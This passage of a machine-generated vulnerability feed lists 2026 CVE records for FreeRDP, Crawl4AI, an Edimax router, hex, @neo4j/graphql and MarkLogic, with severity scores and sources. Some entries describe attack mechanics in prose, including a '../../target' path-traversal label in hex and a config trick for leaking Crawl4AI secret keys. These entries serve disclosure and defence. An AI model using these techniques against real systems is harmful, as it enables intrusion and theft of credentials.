renders uninitialized heap memory from un-decoded progressive tiles because the tile->current buffer is allocated without zeroing. A malicious RDP server can send a crafted WBT_TILE_FIRST then WBT_TILE_UPGRADE sequence to paint heap bytes onscreen or abort the client process.","detail":"FreeRDP before 3.0.0 and 3.6.0 before 3.32.0 renders uninitialized heap memory from un-decoded progressive tiles because the tile->current buffer is allocated without zeroing. A malicious RDP server can send a crafted WBT_TILE_FIRST then WBT_TILE_UPGRADE sequence to paint heap bytes onscreen or abort the client process.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:15.023Z","updatedAt":"2026-10-15T03:17:07.077Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109242","asOf":"2026-10-15T03:17:07.077Z"},"epss":{"probability":0.00295,"percentile":0.2194,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109242&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109242","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109242","type":"primary","publishedAt":"2026-10-12T17:17:15.023Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109242&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109242, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109237","cveId":"CVE-2026-109237","aliases":[],"kind":"vulnerability","title":"Crawl4AI from 0.9.0 before 0.9.4 contains an untrusted-config gate bypass that allows non-admin API clients to construct forbidden config objects by wrapping them in dict-type...","summary":"Crawl4AI from 0.9.0 before 0.9.4 contains an untrusted-config gate bypass that allows non-admin API clients to construct forbidden config objects by wrapping them in dict-type wrappers. Attackers can send a laundered LLMConfig with api_token set to an env reference via /config/dump to read SECRET_KEY and provider keys, enabling admin JWT forgery.","detail":"Crawl4AI from 0.9.0 before 0.9.4 contains an untrusted-config gate bypass that allows non-admin API clients to construct forbidden config objects by wrapping them in dict-type wrappers. Attackers can send a laundered LLMConfig with api_token set to an env reference via /config/dump to read SECRET_KEY and provider keys, enabling admin JWT forgery.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:14.233Z","updatedAt":"2026-10-15T20:33:06.527Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109237","asOf":"2026-10-15T20:33:06.527Z"},"epss":{"probability":0.00324,"percentile":0.25249,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109237&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109237","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109237","type":"primary","publishedAt":"2026-10-12T17:17:14.233Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109237&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109237, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108914","cveId":"CVE-2026-108914","aliases":[],"kind":"vulnerability","title":"A flaw has been found in Edimax BR-6208AC 1.32. Affected by this issue is some unknown functionality of the file /goform/formWlSiteSurvey.","summary":"A flaw has been found in Edimax BR-6208AC 1.32. Affected by this issue is some unknown functionality of the file /goform/formWlSiteSurvey. This manipulation of the argument ifname causes buffer overflow. Remote exploitation of the attack is possible. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A flaw has been found in Edimax BR-6208AC 1.32. Affected by this issue is some unknown functionality of the file /goform/formWlSiteSurvey. This manipulation of the argument ifname causes buffer overflow. Remote exploitation of the attack is possible. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:13.890Z","updatedAt":"2026-10-15T14:17:15.850Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108914","asOf":"2026-10-15T14:17:15.850Z"},"epss":{"probability":0.00567,"percentile":0.46756,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108914&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108914","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108914","type":"primary","publishedAt":"2026-10-12T17:17:13.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108914&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108914, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96612","cveId":"CVE-2026-96612","aliases":[],"kind":"vulnerability","title":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in hexpm hex allows a malicious package publisher to delete a directory outside the...","summary":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in hexpm hex allows a malicious package publisher to delete a directory outside the project's deps directory and extract package files into it when a developer fetches dependencies.\n\nA package release's requirements carry an app label that names the dependency's OTP application. Hex takes this label from the repository's signed registry and uses it as the dependency's application name without validating it (Hex.RemoteConverger.deps/2, Hex.Mix.to_lock/1). Mix derives the dependency's checkout directory as deps/<app>, and Hex.SCM.update/1 runs File.rm_rf!/1 on that directory and unpacks the package into it. hex.pm only checks the label's length, so a publisher can set it to a value such as ../../target. When a project depends on such a release directly or transitively, mix deps.get or mix deps.update deletes the directory the label resolves to and writes the labelled package's files there. This happens before any dependency code is compiled.\n\nThis issue affects hex: from 0.6.0 before 2.5.2.","detail":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in hexpm hex allows a malicious package publisher to delete a directory outside the project's deps directory and extract package files into it when a developer fetches dependencies.\n\nA package release's requirements carry an app label that names the dependency's OTP application. Hex takes this label from the repository's signed registry and uses it as the dependency's application name without validating it (Hex.RemoteConverger.deps/2, Hex.Mix.to_lock/1). Mix derives the dependency's checkout directory as deps/<app>, and Hex.SCM.update/1 runs File.rm_rf!/1 on that directory and unpacks the package into it. hex.pm only checks the label's length, so a publisher can set it to a value such as ../../target. When a project depends on such a release directly or transitively, mix deps.get or mix deps.update deletes the directory the label resolves to and writes the labelled package's files there. This happens before any dependency code is compiled.\n\nThis issue affects hex: from 0.6.0 before 2.5.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:07.637Z","updatedAt":"2026-10-16T18:19:52.667Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96612","asOf":"2026-10-16T18:19:52.667Z"},"epss":{"probability":0.00443,"percentile":0.38264,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96612&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96612","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96612","type":"primary","publishedAt":"2026-10-12T16:17:07.637Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96612&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96612, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92682","cveId":"CVE-2026-92682","aliases":[],"kind":"vulnerability","title":"In @neo4j/graphql versions from 7.0.0 up to but not including 7.6.4, the none quantifier in @authorization filters on relationships and connections is not negated when translated...","summary":"In @neo4j/graphql versions from 7.0.0 up to but not including 7.6.4, the none quantifier in @authorization filters on relationships and connections is not negated when translated to Cypher, so it behaves like some. A rule such as \"none of the related denied users matches the JWT subject\" therefore returns exactly the records it was meant to exclude, and excludes those it was meant to return. An authenticated user whom such a rule is meant to deny can read the protected records. This is also the case for mutations, so the impact is that sensitive data could also be created and deleted by users that shouldn't have access according to the typedefs. Fixed in 7.6.4.","detail":"In @neo4j/graphql versions from 7.0.0 up to but not including 7.6.4, the none quantifier in @authorization filters on relationships and connections is not negated when translated to Cypher, so it behaves like some. A rule such as \"none of the related denied users matches the JWT subject\" therefore returns exactly the records it was meant to exclude, and excludes those it was meant to return. An authenticated user whom such a rule is meant to deny can read the protected records. This is also the case for mutations, so the impact is that sensitive data could also be created and deleted by users that shouldn't have access according to the typedefs. Fixed in 7.6.4.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:07.480Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92682","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00313,"percentile":0.23997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92682&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92682","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92682","type":"primary","publishedAt":"2026-10-12T16:17:07.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92682&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92682, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85954","cveId":"CVE-2026-85954","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 can evaluate user-controlled values supplied to certain higher-order XQuery functions in an...","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 can evaluate user-controlled values supplied to certain higher-order XQuery functions in an elevated security context, which could result in privilege escalation beyond the attacker's granted permissions.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 can evaluate user-controlled values supplied to certain higher-order XQuery functions in an elevated security context, which could result in privilege escalation beyond the attacker's granted permissions.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:06.940Z","updatedAt":"2026-10-14T11:17:05.883Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85954","asOf":"2026-10-14T11:17:05.883Z"},"epss":{"probability":0.00265,"percentile":0.18274,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85954&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85954","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85954","type":"primary","publishedAt":"2026-10-12T16:17:06.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85954&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85954, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85953","cveId":"CVE-2026-85953","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain privileged legacy InfoStudio modules that do not sufficiently validate...","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain privileged legacy InfoStudio modules that do not sufficiently validate user-controlled file paths and user-context values. Exploitation could result in unauthorized access to server files or execution under an unintended identity.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain privileged legacy InfoStudio modules that do not sufficiently validate user-controlled file paths and user-context values. Exploitation could result in unauthorized access to server files or execution under an unintended identity.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:06.810Z","updatedAt":"2026-10-15T19:17:44.853Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85953","asOf":"2026-10-15T19:17:44.853Z"},"epss":{"probability":0.00375,"percentile":0.31144,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85953&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85953","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85953","type":"primary","publishedAt":"2026-10-12T16:17:06.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85953&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85953, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85952","cveId":"CVE-2026-85952","aliases":[],"kind":"vulnerability","title":"Affected Linux-based Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain a server-side request forgery vulnerability that could allow an...","summary":"Affected Linux-based Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain a server-side request forgery vulnerability that could allow an authenticated attacker to access internal cloud services, potentially resulting in unauthorized access to cloud credentials.","detail":"Affected Linux-based Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain a server-side request forgery vulnerability that could allow an authenticated attacker to access internal cloud services, potentially resulting in unauthorized access to cloud credentials.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:06.680Z","updatedAt":"2026-10-15T20:17:15.377Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85952","asOf":"2026-10-15T20:17:15.377Z"},"epss":{"probability":0.00249,"percentile":0.16119,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85952&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85952","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85952","type":"primary","publishedAt":"2026-10-12T16:17:06.680Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85952&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85952, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85951","cveId":"CVE-2026-85951","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 on Azure contain a server-side request forgery vulnerability that could allow an...","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 on Azure contain a server-side request forgery vulnerability that could allow an authenticated attacker to access internal cloud services, potentially resulting in unauthorized access to cloud credentials or tokens.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 on Azure contain a server-side request forgery vulnerability that could allow an authenticated attacker to access internal cloud services, potentially resulting in unauthorized access to cloud credentials or tokens.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:06.553Z","updatedAt":"2026-10-15T20:17:15.273Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Azure","Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85951","asOf":"2026-10-15T20:17:15.273Z"},"epss":{"probability":0.00249,"percentile":0.16118,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85951&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85951","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85951","type":"primary","publishedAt":"2026-10-12T16:17:06.553Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85951&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85951, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85950","cveId":"CVE-2026-85950","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authorization flaw that could allow a remote attacker with administrative...","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authorization flaw that could allow a remote attacker with administrative privileges to access authentication material associated with higher-privileged users, potentially resulting in unauthorized administrative access.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 contain an authorization flaw that could allow a remote attacker with administrative privileges to access authentication material associated with higher-privileged users, potentially resulting in unauthorized administrative access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T16:17:06.427Z","updatedAt":"2026-10-14T11:17:05.777Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Progress (MOVEit, Telerik, WS_FTP)"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85950","asOf":"2026-10-14T11:17:05.777Z"},"epss":{"probability":0.00332,"percentile":0.26215,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85950&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85950","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85950","type":"primary","publishedAt":"2026-10-12T16:17:06.427Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85950&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85950, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85949","cveId":"CVE-2026-85949","aliases":[],"kind":"vulnerability","title":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may record security-sensitive information in diagnostic logs under certain configurations.","summary":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may record security-sensitive information in diagnostic logs under certain configurations. An attacker with access to the affected logs could use this information to obtain unauthorized access to protected resources.","detail":"Progress MarkLogic Server 12.x releases before 12.1.0 and 11.x releases before 11.3.7 may record security-sensitive information in diagnostic logs under certain configurations. An attacker with access to the affected logs could use this information to obtain unauthorized access to protected resources.\n\nNVD status: Awaiting Analysis. Publication in 